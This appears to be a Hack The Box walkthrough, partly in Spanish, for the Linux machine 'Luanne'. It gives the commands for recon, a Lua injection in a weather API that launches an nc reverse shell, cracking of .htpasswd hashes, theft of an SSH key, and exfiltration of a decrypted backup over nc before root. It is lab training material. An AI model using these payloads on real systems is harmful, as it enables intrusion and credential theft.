Luanne

Luanne


HTB Linux

nmap -A -p- -oA output 10.129.151.88 —min-rate=10000 —script=vuln —script-imeout=15 -v

nmap -sC -sV -O -p- -oA luanne 10.129.151.88

nmap -sU -O -p- -oA luanne-udp 10.129.151.88

nikto -h 10.129.151.88 :80

ssh_command.

ssh_command.

whatweb http://10.129.151.88

ssh_command.

http://10.129.151.88/robots.txt

ssh_command.

wfuzz -c —hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.129.151.88/weather/FUZZ

ssh_command.

http://10.129.151.88/weather/forecast

ssh_command.

curl -s -X GET “http://10.129.151.88/weather/forecast?city=London” | jq

ssh_command.

Abrimos burpsuite y interceptamos

ssh_command.

GET /weather/forecast?city=list

ssh_command.

GET /weather/forecast?city=list’]%3b+os.execute[‘id’]—+-’

ssh_command.

nc -lvnp 443

GET /weather/forecast?city=list’]%3b+os.execute[‘rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 443 >/tmp/f’]—+-’

Le hacemos Ctrl +U para ulrencode

ssh_command.

cat .htpasswd

guardamos el webapi_user y su contrasena en un archivo llamado hash

john —wordlist=/usr/share/wordlists/rockyou..txt hash

Credenciales-> webapi_user:iamthebest

ssh_command.

ps -auwx

ssh_command.

curl -s -X GET http://127.0.0.1:3001

ssh_command.

curl -s -X GET http://127.0.0.1:3001/~r.michaels/id_rsa -u ‘webapi_user:iamthebest’; echo

ssh_command.

Creamos un id_rsa

chmod 600 id_rsa

ssh -i id_rsa r.michaels@10.129.151.88

ssh_command.

cd backups

cat devel_backup-2020-09-16.tar.gz.enc

ssh_command.

netpgp —decrypt devel_backup-2020-09-16.tar.gz.enc —output /tmp/backup.tar.gz

ssh_command.

nc 10.10.14.21 < backup.tar.gz

nc -lvnp 443 > backup.tar.gz

ssh_command.

cat .htpasswd

ssh_command.

vim hash2

john —worldlist=/usr/share/worldlists/rockyou.txt hash2

Credenciales->root:littlebear

ssh_command.

doas su root

ssh_command.

© 2025 Cu3rv0x